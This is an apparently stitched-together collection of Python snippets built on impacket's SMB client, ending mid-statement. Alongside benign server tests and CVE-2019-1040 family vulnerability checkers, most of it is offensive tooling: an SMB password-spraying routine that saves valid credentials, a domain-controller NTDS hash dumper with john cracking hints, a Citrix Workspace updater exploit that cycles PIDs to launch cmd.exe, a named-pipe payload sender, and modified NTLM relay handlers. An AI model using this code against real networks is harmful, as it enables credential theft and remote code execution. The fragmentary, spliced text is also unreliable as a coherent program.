def test_smbserver_share_put(self): """Test writing files to a shared folder. """ server = SimpleSMBServer(listenAddress=self.address, listenPort=int(self.port)) server.addCredential(self.username, 0, self.lmhash, self.nthash) server.addShare(self.share_name, self.share_path) self.start_smbserver(server) client = SMBConnection(self.address, self.address, sess_port=int(self.port)) client.login(self.username, self.password) local_file = StringIO(self.share_new_content) client.putFile(self.share_name, self.share_new_file, local_file.read) self.assertTrue(exists(join(self.share_path, self.share_new_file))) with open(join(self.share_path, self.share_new_file), "r") as fd: self.assertEqual(fd.read(), self.share_new_content) # Check path traversal in put as in #1066 with self.assertRaises(SessionError): client.putFile(self.share_name, join("..", self.share_unjailed_file), local_file.read) self.assertFalse(exists(self.share_unjailed_file)) client.close()
def check(self, remote_host): # Validate credentials first if not self.creds_validated: self.validate_creds(remote_host) self.creds_validated = True # Now start scanner try: smbClient = SMBConnection( remote_host, remote_host, sess_port=int( self.__port)) #, preferredDialect=SMB2_DIALECT_21 except: return ntlm.computeResponseNTLMv2 = mod_computeResponseNTLMv2 ntlm.getNTLMSSPType3 = mod_getNTLMSSPType3 try: smbClient.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) logging.info( 'Target %s is VULNERABLE to CVE-2019-1040 (authentication was accepted)', remote_host) except SessionError as exc: if 'STATUS_INVALID_PARAMETER' in str(exc): logging.info( 'Target %s is not vulnerable to CVE-2019-1040 (authentication was rejected)', remote_host) else: logging.warning( 'Unexpected Exception while authenticating to %s: %s', remote_host, exc) smbClient.close()
def run(self): for target in self.targets: target = target.strip() self.target = target smb_connection = SMBConnection(self.target, self.target) for user in enumerate(self.usernames): user = user[-1].strip() if self.user_as_pass: self.update_progress() next_user = self.login(self.target, self.domain, user, user, smb_connection) if next_user: # Restablish smb_connection to avoid false positves smb_connection.close() smb_connection = SMBConnection(self.target, self.target) continue if self.passwords: self.passwords.seek(os.SEEK_SET) for password in enumerate(self.passwords): password = password[-1].strip() self.update_progress() next_user = self.login(self.target, self.domain, user, password, smb_connection) if next_user: # Restablish smb_connection to avoid false positves smb_connection.close() smb_connection = SMBConnection( self.target, self.target) break
def getNTDSInfo(user, password, domain, ip): print("[*] Trying to dump Domain users hashes...") conn = SMBConnection(ip, ip, None, 445) if conn.login(user, password, domain): print("[+] Successful SMB connection to the DC") r = RemoteOperations(conn, True) r.enableRegistry() bootkey = r.getBootKey() print("[*] Creating and parsing NTDS...") NTDSFileName = r.saveNTDS() NTDS = NTDSHashes(NTDSFileName, bootkey, isRemote=True, history=False, noLMHash=False, remoteOps=r, useVSSMethod=True, resumeSession=None, printUserStatus=False, outputFileName='DOMAIN_HASHES') print("[+] Success") print("[*] Dumping hashes from NTDS (could take a while)...") NTDS.dump() NTDS.finish() r.finish() conn.close() os.rename("DOMAIN_HASHES.ntds", "DOMAIN_HASHES.txt") os.remove("DOMAIN_HASHES.ntds.kerberos") if os.stat("DOMAIN_HASHES.ntds.cleartext").st_size == 0: os.remove("DOMAIN_HASHES.ntds.cleartext") else: print("[+] Cleartext passwords founds ! look in the file DOMAIN_HASHES.ntds.cleartext") print("[+] Successful dump of the users hashes in DOMAIN_HASHES.txt") print("You can use 'john --format=NT DOMAIN_HASHES.txt' to crack passwords and 'john --format=NT --show DOMAIN_HASHES.txt | cut -d: -f 1,2 > JOHN_RESULT.txt' when you finished")
def test_smbserver_login(self): """Test authentication using password and LM/NTHash login. """ server = self.get_smbserver() server.addCredential(self.username, 0, self.lmhash, self.nthash) self.start_smbserver(server) # Valid password login client = SMBConnection(self.address, self.address, sess_port=int(self.port)) client.login(self.username, self.password) client.close() # Valid hash login client = SMBConnection(self.address, self.address, sess_port=int(self.port)) client.login(self.username, '', lmhash=self.lmhash, nthash=self.nthash) client.close() # Invalid password login with self.assertRaises(SessionError): client = SMBConnection(self.address, self.address, sess_port=int(self.port)) client.login(self.username, 'SomeInvalidPassword') client.close() # Invalid username login with self.assertRaises(SessionError): client = SMBConnection(self.address, self.address, sess_port=int(self.port)) client.login("InvalidUser", "", lmhash=self.lmhash, nthash=self.nthash) client.close() # Invalid hash login with self.assertRaises(SessionError): client = SMBConnection(self.address, self.address, sess_port=int(self.port)) client.login(self.username, "", lmhash=self.nthash, nthash=self.lmhash) client.close()
def check(self, remote_host): # Validate credentials first if not self.creds_validated: self.validate_creds(remote_host) self.creds_validated = True # Now start scanner try: smbClient = SMBConnection( remote_host, remote_host, sess_port=int( self.__port)) #, preferredDialect=SMB2_DIALECT_21 except: return try: # Both cve-2019-1019 and cve-2019-1040 were part of the same KB and can be checked # by using cve-2019-1040 can logic if self.__vuln in ["CVE-2019-1019", "CVE-2019-1040"]: ntlm.computeResponseNTLMv2 = mod_cve20191040_computeResponseNTLMv2 if self.__vuln == "CVE-2019-1166": ntlm.computeResponseNTLMv2 = mod_cve20191166_computeResponseNTLMv2 if self.__vuln == "CVE-2019-1338": ntlm.computeResponseNTLMv2 = mod_cve20191338_computeResponseNTLMv2 smbClient.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) logging.info( 'Target %s is VULNERABLE to %s (authentication was accepted)', remote_host, self.__vuln) except SessionError as exc: if 'STATUS_INVALID_PARAMETER' in str(exc) and self.__vuln in [ "CVE-2019-1019", "CVE-2019-1040", "CVE-2019-1166" ]: logging.info( 'Target %s is not vulnerable to %s (authentication was rejected)', remote_host, self.__vuln) elif 'STATUS_LOGON_FAILURE' in str( exc) and self.__vuln == "CVE-2019-1338": logging.info( 'Target %s is not vulnerable to %s (authentication was rejected)', remote_host, self.__vuln) else: logging.warning( 'Unexpected Exception while authenticating to %s: %s', remote_host, exc) smbClient.close()
def login(username, password, domain, host, verbose=False): # safe way to kill login functionality once exceptions are made if shutdown: return None desc = "" with open(spray_logs, "a+") as sf: try: smbclient = SMBConnection(host, host, sess_port=445) if domain: conn = smbclient.login(username, password, domain) # if domain isn't supplied get it from the server else: conn = smbclient.login(username, password, domain) domain = smbclient.getServerDNSDomainName() if conn: message = get_pretty_time("success") + "{}\{}:{} ".format( domain, username, password) + colored( "(Successful!)", "green") with open(valid_creds, "a+") as f: f.write(domain + "\\" + username + ":" + password + "\r\n") smbclient.close() # impacket smb session error handling except SessionError as e: error, desc = e.getErrorString() if not domain: domain = smbclient.getServerDNSDomainName() message = "{}\{}:{} ".format(domain, username, password) if error in smb_error_status: message = get_pretty_time("warn") + message + colored( error, "yellow") elif error == smb_error_locked: message = get_pretty_time("danger") + message + colored( error, "red") print(message) raise Locked(username) else: message = get_pretty_time() + message + error smbclient.close() print(message) if verbose and desc: print(desc) sf.write(message + "\r\n")
def test_smbserver_share_list(self): """Test listing files in a shared folder. """ server = SimpleSMBServer(listenAddress=self.address, listenPort=int(self.port)) server.addCredential(self.username, 0, self.lmhash, self.nthash) server.addShare(self.share_name, self.share_path) self.start_smbserver(server) client = SMBConnection(self.address, self.address, sess_port=int(self.port)) client.login(self.username, self.password) client.listPath(self.share_name, "/") # Check path traversal in list as in #1066 with self.assertRaises(SessionError): client.listPath(self.share_name, "../impacket/") client.close()
def test_smbserver_share_get(self): """Test reading files from a shared folder. """ server = SimpleSMBServer(listenAddress=self.address, listenPort=int(self.port)) server.addCredential(self.username, 0, self.lmhash, self.nthash) server.addShare(self.share_name, self.share_path) self.start_smbserver(server) client = SMBConnection(self.address, self.address, sess_port=int(self.port)) client.login(self.username, self.password) local_file = BytesIO() client.getFile(self.share_name, self.share_file, local_file.write) local_file.seek(0) self.assertEqual(local_file.read(), b(self.share_new_content)) # Check unexistent file with self.assertRaises(SessionError): client.getFile(self.share_name, "unexistent", local_file.write) client.close()
class SMBTransport(DCERPCTransport): """Implementation of ncacn_np protocol sequence""" def __init__(self, remoteName, dstport=445, filename='', username='', password='', domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None, remote_host='', smb_connection=0, doKerberos=False, kdcHost=None): DCERPCTransport.__init__(self, remoteName, dstport) self.__socket = None self.__tid = 0 self.__filename = filename self.__handle = 0 self.__pending_recv = 0 self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS) self._doKerberos = doKerberos self._kdcHost = kdcHost if remote_host != '': self.setRemoteHost(remote_host) if smb_connection == 0: self.__existing_smb = False else: self.__existing_smb = True self.set_credentials(*smb_connection.getCredentials()) self.__prefDialect = None self.__smb_connection = smb_connection def preferred_dialect(self, dialect): self.__prefDialect = dialect def setup_smb_connection(self): if not self.__smb_connection: self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(), preferredDialect=self.__prefDialect) def connect(self): # Check if we have a smb connection already setup if self.__smb_connection == 0: self.setup_smb_connection() if self._doKerberos is False: self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash) else: self.__smb_connection.kerberosLogin(self._username, self._password, self._domain, self._lmhash, self._nthash, self._aesKey, kdcHost=self._kdcHost, TGT=self._TGT, TGS=self._TGS) self.__tid = self.__smb_connection.connectTree('IPC$') self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename) self.__socket = self.__smb_connection.getSMBServer().get_socket() return 1 def disconnect(self): self.__smb_connection.disconnectTree(self.__tid) # If we created the SMB connection, we close it, otherwise # that's up for the caller if self.__existing_smb is False: self.__smb_connection.logoff() self.__smb_connection.close() self.__smb_connection = 0 def send(self,data, forceWriteAndx = 0, forceRecv = 0): if self._max_send_frag: offset = 0 while 1: toSend = data[offset:offset+self._max_send_frag] if not toSend: break self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset) offset += len(toSend) else: self.__smb_connection.writeFile(self.__tid, self.__handle, data) if forceRecv: self.__pending_recv += 1 def recv(self, forceRecv = 0, count = 0 ): if self._max_send_frag or self.__pending_recv: # _max_send_frag is checked because it's the same condition we checked # to decide whether to use write_andx() or send_trans() in send() above. if self.__pending_recv: self.__pending_recv -= 1 return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag) else: return self.__smb_connection.readFile(self.__tid, self.__handle) def get_smb_connection(self): return self.__smb_connection def set_smb_connection(self, smb_connection): self.__smb_connection = smb_connection self.set_credentials(*smb_connection.getCredentials()) self.__existing_smb = True def get_smb_server(self): # Raw Access to the SMBServer (whatever type it is) return self.__smb_connection.getSMBServer() def get_socket(self): return self.__socket def doesSupportNTLMv2(self): return self.__smb_connection.doesSupportNTLMv2()
class ImpacketConnection: class Options: def __init__(self, hostname="", domain_name="", username="", password="", lmhash="", nthash="", kerberos=False, aesKey="", dc_ip=None, timeout=5): self.hostname = hostname self.domain_name = domain_name self.username = username self.password = password self.lmhash = lmhash self.nthash = nthash self.timeout = timeout self.kerberos = kerberos self.aesKey = aesKey self.dc_ip = dc_ip def __init__(self, options: Options): self.options = options self.hostname = options.hostname self.domain_name = options.domain_name self.username = options.username self.password = options.password self.lmhash = options.lmhash self.nthash = options.nthash self.kerberos = options.kerberos self.aesKey = options.aesKey self.dc_ip = options.dc_ip self.timeout = options.timeout self._log = Logger(self.hostname) self._conn = None def get_logger(self): return self._log def set_logger(self, logger): self._log = logger def login(self): try: ip = list({ addr[-1][0] for addr in getaddrinfo(self.hostname, 0, 0, 0, 0) })[0] if ip != self.hostname: self._log.debug("Host {} resolved to {}".format( self.hostname, ip)) except gaierror as e: return RetCode(ERROR_DNS_ERROR, e) try: self._conn = SMBConnection(self.hostname, ip, timeout=self.timeout) except Exception as e: return RetCode(ERROR_CONNECTION_ERROR, e) username = '' if not self.kerberos: username = self.username.split("@")[0] self._log.debug("Authenticating against {}".format(ip)) else: self._log.debug("Authenticating against {}".format(self.hostname)) try: if not self.kerberos: self._conn.login(username, self.password, domain=self.domain_name, lmhash=self.lmhash, nthash=self.nthash, ntlmFallback=True) else: self._conn.kerberosLogin(username, self.password, domain=self.domain_name, lmhash=self.lmhash, nthash=self.nthash, aesKey=self.aesKey, kdcHost=self.dc_ip) except SessionError as e: self._log.debug("Provided credentials : {}\\{}:{}".format( self.domain_name, username, self.password)) return RetCode(ERROR_LOGIN_FAILURE, e) except KerberosException as e: self._log.debug("Kerberos error") return RetCode(ERROR_LOGIN_FAILURE, e) except Exception as e: return RetCode(ERROR_UNDEFINED, e) return RetCode(ERROR_SUCCESS) def connectTree(self, share_name): return self._conn.connectTree(share_name) def openFile(self, tid, fpath, timeout: int = 3): self._log.debug("Opening file {}".format(fpath)) start = time.time() while True: try: fid = self._conn.openFile(tid, fpath, desiredAccess=FILE_READ_DATA) self._log.debug("File {} opened".format(fpath)) return fid except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0 or str(e).find( 'STATUS_OBJECT_NAME_NOT_FOUND') >= 0: # Output not finished, let's wait if time.time() - start > timeout: raise (Exception(e)) time.sleep(1) else: raise Exception(e) def queryInfo(self, tid, fid): while True: try: info = self._conn.queryInfo(tid, fid) return info except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(2) else: raise Exception(e) def getFile(self, share_name, path_name, callback): while True: try: self._conn.getFile(share_name, path_name, callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: # Output not finished, let's wait time.sleep(2) else: raise Exception(e) def deleteFile(self, share_name, path_name): while True: try: self._conn.deleteFile(share_name, path_name) self._log.debug("File {} deleted".format(path_name)) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: time.sleep(2) else: raise Exception(e) def putFile(self, share_name, path_name, callback): try: self._conn.putFile(share_name, path_name, callback) self._log.debug("File {} uploaded".format(path_name)) except Exception as e: raise Exception( "An error occured while uploading %s on %s share : %s" % (path_name, share_name, e)) def readFile(self, tid, fid, offset, size): return self._conn.readFile(tid, fid, offset, size, singleCall=False) def closeFile(self, tid, fid): return self._conn.closeFile(tid, fid) def disconnectTree(self, tid): return self._conn.disconnectTree(tid) def isadmin(self): try: self.connectTree("C$") return RetCode(ERROR_SUCCESS) except Exception as e: return RetCode(ERROR_ACCESS_DENIED, e) def close(self): if self._conn is not None: self._log.debug("Closing Impacket connection") self._conn.close() def clean(self): try: self.close() return RetCode(ERROR_SUCCESS) except Exception as e: return RetCode(ERROR_CONNECTION_CLEANING, e)
def main(): global cru_pid, sendSMB_Original logger.init() parser = argparse.ArgumentParser(add_help=True, description="SMB client implementation.") parser.add_argument( 'target', action='store', help='[[domain/]username[:password]@]<targetName or address>') parser.add_argument('-pid', action="store", nargs='?', type=int, help='the PID of CitrixReceiverUpdater.exe') parser.add_argument( '-max-pid', action="store", nargs='?', type=int, default=50000, help='the highest PID to use when in PID cycling mode (default: 50000)' ) parser.add_argument( '-command', action='store', default="c:\\windows\\system32\\cmd.exe", help='The command to execute, (Default: c:\\windows\\system32\\cmd.exe)' ) parser.add_argument( '-update-hash', action='store', default= '24f4845c08b5629c78de41c46411404ec822390f54431205e66d212e620e4f64') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument( '-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument( '-dc-ip', action='store', metavar="ip address", help= 'IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 'the target parameter') group.add_argument( '-target-ip', action='store', metavar="ip address", help= 'IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name and you cannot resolve it' ) group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() cru_pid = options.pid if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path else: logging.getLogger().setLevel(logging.INFO) domain, username, password, address = re.compile( '(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') # In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if options.target_ip is None: options.target_ip = address if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:"******"Attempting to exploit using PID cycling mode with max PID %d", options.max_pid) logging.disable(logging.ERROR) cru_pid = 4 while cru_pid < options.max_pid and attemptExecution( smbClient, tid, cru_pid, options.command, options.update_hash) is False: cru_pid += 4 logging.disable(logging.DEBUG) if cru_pid < options.max_pid: logging.info("Successfully launched program using pid %d", cru_pid) else: logging.info( "Exhausted PID search range, Citrix Workspace Updates might not be running" ) smbClient.close() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e))
class NPAttack(ProtocolAttack): """ This is the SMB default attack class. It will either dump the hashes from the remote target, or open an interactive shell if the -i option is specified. """ PLUGIN_NAMES = ["NP"] def __init__(self, config, SMBClient, username): ProtocolAttack.__init__(self, config, SMBClient, username) self.pid = int(config.pipe_client_pid) self.pipe_name = config.pipe_name self.payload = config.payload_path if not config.command: self.command = 'c:\\windows\\system32\\cmd.exe' else: self.command = config.command self.sendSMB_Original = self.client._SMBConnection.sendSMB self.client._SMBConnection.sendSMB = types.MethodType( self.sendSMB, self.client._SMBConnection) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient def openPipe(self, tid, pipe, accessMask): pipeReady = False tries = 50 while pipeReady is False and tries > 0: try: self.__SMBConnection.waitNamedPipe(tid, pipe) pipeReady = True except Exception as e: print(str(e)) tries -= 1 time.sleep(2) pass if tries == 0: raise Exception('Pipe not ready, aborting') fid = self.__SMBConnection.openFile(tid, pipe, accessMask, creationOption=0x40, fileAttributes=0x80) return fid def isPipeAvailable(self, tid): try: fid = self.openPipe(tid, '\\' + self.pipe_name, 0x12019f) self.__SMBConnection.closeFile(tid, fid) return True except: return False def sendPayload(self, tid): result = True fid = self.openPipe(tid, '\\' + self.pipe_name, 0x12019f) payload_file = open(self.payload, mode='rb') payload = payload_file.read() response = None try: self.__SMBConnection.writeNamedPipe(tid, fid, payload, True) response = self.__SMBConnection.readNamedPipe(tid, fid) except Exception as e: response = e result = False finally: self.__SMBConnection.closeFile(tid, fid) return result def getData(self, original): original['Pid'] = self.pid return original.orignalGetData() def sendSMB(self, original, packet): # Some ugly hacks here, essentially we are hooking # some original SMB1/2 function from impacket so we # can intercept the calls and patch the PID at the correct point if packet['Command'] is SMB2_CREATE: #SMB2/3 # If the command type is create for opening files/named pipes # then replace the Reserved (PID) field with our spoofed PID packet["Reserved"] = self.pid elif packet['Command'] is SMB.SMB_COM_NT_CREATE_ANDX: #SMB1 # Additional level of hooks here since SMB1 packets are # handled differently, and in fact the impacket does use # the real process PID of the client, so we need to override # that behavior packet.orignalGetData = packet.getData packet.getData = types.MethodType(self.getData, packet) # Send our packet using original sendSMB function self.sendSMB_Original(packet) def run(self): tid = self.__SMBConnection.connectTree('IPC$') if not self.isPipeAvailable(tid): LOG.warn("Pipe not found or accessible on host %s" % (self.__SMBConnection.getRemoteHost())) return if self.pid is 0: LOG.info( "Pipe found and writable on %s, starting attack through PID cycling!" % (self.__SMBConnection.getRemoteHost())) self.pid = 4 while self.pid < 50000 and self.sendPayload(tid) is False: self.pid += 4 LOG.info("Finished PID cycling on host %s", self.__SMBConnection.getRemoteHost()) else: LOG.info( "Pipe found and writable on %s, sending payload using PID %d!" % (self.__SMBConnection.getRemoteHost(), self.pid)) self.sendPayload(tid) self.__SMBConnection.close()
def SmbSessionSetup(self, connId, smbServer, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) respSMBCommand = smb3.SMB2SessionSetup_Response() sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) connData['Capabilities'] = sessionSetupData['Capabilities'] securityBlob = sessionSetupData['Buffer'] rawNTLM = False if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(securityBlob) token = blob['MechToken'] if len(blob['MechTypes'][0]) > 0: # Is this GSSAPI NTLM or something else we don't support? mechType = blob['MechTypes'][0] if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \ mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']: # Nope, do we know it? if mechType in MechTypes: mechStr = MechTypes[mechType] else: mechStr = hexlify(mechType) smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) # We don't know the token, we answer back again saying # we just support NTLM. # ToDo: Build this into a SPNEGO_NegTokenResp() respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED elif struct.unpack('B',securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: # AUTH packet blob = SPNEGO_NegTokenResp(securityBlob) token = blob['ResponseToken'] else: # No GSSAPI stuff, raw NTLMSSP rawNTLM = True token = securityBlob # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = connData['SMBClient'] try: challengeMessage = self.do_ntlm_negotiate(client, token) except Exception as e: LOG.debug("Exception:", exc_info=True) # Log this target as processed for this client self.targetprocessor.logTarget(self.target) # Raise exception again to pass it on to the SMB server raise ############################################################# if rawNTLM is False: respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = b'\x01' respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = challengeMessage.getData() else: respToken = challengeMessage # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data connData['Uid'] = random.randint(1,0xffffffff) connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x02: # CHALLENGE_MESSAGE raise Exception('Challenge Message raise, not implemented!') elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = connData['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': # For some attacks it is important to know the authenticated username, so we store it self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))).upper() if rawNTLM is True: respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = securityBlob securityBlob = respToken2.getData() if self.config.remove_mic: from impacket.smbconnection import SMBConnection d1 = 315 d2 = 5 print('[GPOTATO] WAITING %s SECONDS FOR CHALLENGE TIMEOUT' % (d1)) time.sleep(d1) print('[GPOTATO] FLUSHING CHALLENGE CACHE NOW') try: tempSmbConAddress = self.target.netloc.split(':')[0] tempSmbCon = SMBConnection(tempSmbConAddress, tempSmbConAddress) tempSmbCon.login('MADCOW', 'MADCOW', 'MADCOW') tempSmbCon.close() except Exception as e: print('[GPOTATO] DONE: %s' % str(e)) print('[GPOTATO] WAITING ADDITIONAL %s SECONDS' % (d2)) time.sleep(d2) print('[GPOTATO] AUTHENTICATING...') clientResponse, errorCode = self.do_ntlm_auth(client, token, connData['CHALLENGE_MESSAGE']['challenge']) else: clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob, connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: #Log this target as processed for this client self.targetprocessor.logTarget(self.target) LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) client.killConnection() else: # We have a session, create a thread and do whatever we want LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) connData['Authenticated'] = True self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = b'\x00' # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def do_GET(self): messageType = 0 if self.server.config.mode == 'REDIRECT': self.do_SMBREDIRECT() return LOG.info('HTTPD: Client requested path: %s' % self.path.lower()) # Serve WPAD if: # - The client requests it # - A WPAD host was provided in the command line options # - The client has not exceeded the wpad_auth_num threshold yet if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]): LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0]) self.serve_wpad() return # Determine if the user is connecting to our server directly or attempts to use it as a proxy if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'): proxy = True else: proxy = False if PY2: proxyAuthHeader = self.headers.getheader('Proxy-Authorization') autorizationHeader = self.headers.getheader('Authorization') else: proxyAuthHeader = self.headers.get('Proxy-Authorization') autorizationHeader = self.headers.get('Authorization') if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None): self.do_AUTHHEAD(message = b'NTLM',proxy=proxy) pass else: if proxy: typeX = proxyAuthHeader else: typeX = autorizationHeader try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except Exception: LOG.debug("Exception:", exc_info=True) self.do_AUTHHEAD(message = b'NTLM', proxy=proxy) else: messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 1: if not self.do_ntlm_negotiate(token, proxy=proxy): #Connection failed LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target', self.target.scheme, self.target.netloc) self.server.config.target.logTarget(self.target) self.do_REDIRECT() elif messageType == 3: authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) d1 = 315 d2 = 5 print('[GPOTATO] WAITING %s SECONDS FOR CHALLENGE TIMEOUT' % (d1)) time.sleep(d1) print('[GPOTATO] FLUSHING CHALLENGE CACHE NOW') try: tempSmbConAddress = self.target.netloc.split(':')[0] tempSmbCon = SMBConnection(tempSmbConAddress, tempSmbConAddress) tempSmbCon.login('MADCOW', 'MADCOW', 'MADCOW') tempSmbCon.close() except Exception as e: print('[GPOTATO] DONE: %s' % str(e)) print('[GPOTATO] WAITING ADDITIONAL %s SECONDS' % (d2)) time.sleep(d2) print('[GPOTATO] AUTHENTICATING...') if not self.do_ntlm_auth(token,authenticateMessage): if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) else: LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'))) # Only skip to next if the login actually failed, not if it was just anonymous login or a system account # which we don't want if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$': self.server.config.target.logTarget(self.target) # No anonymous login, go to next host and avoid triggering a popup self.do_REDIRECT() else: # If it was an anonymous login, send 401 self.do_AUTHHEAD(b'NTLM', proxy=proxy) else: # Relay worked, do whatever we want here... if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) else: LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'))) ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if 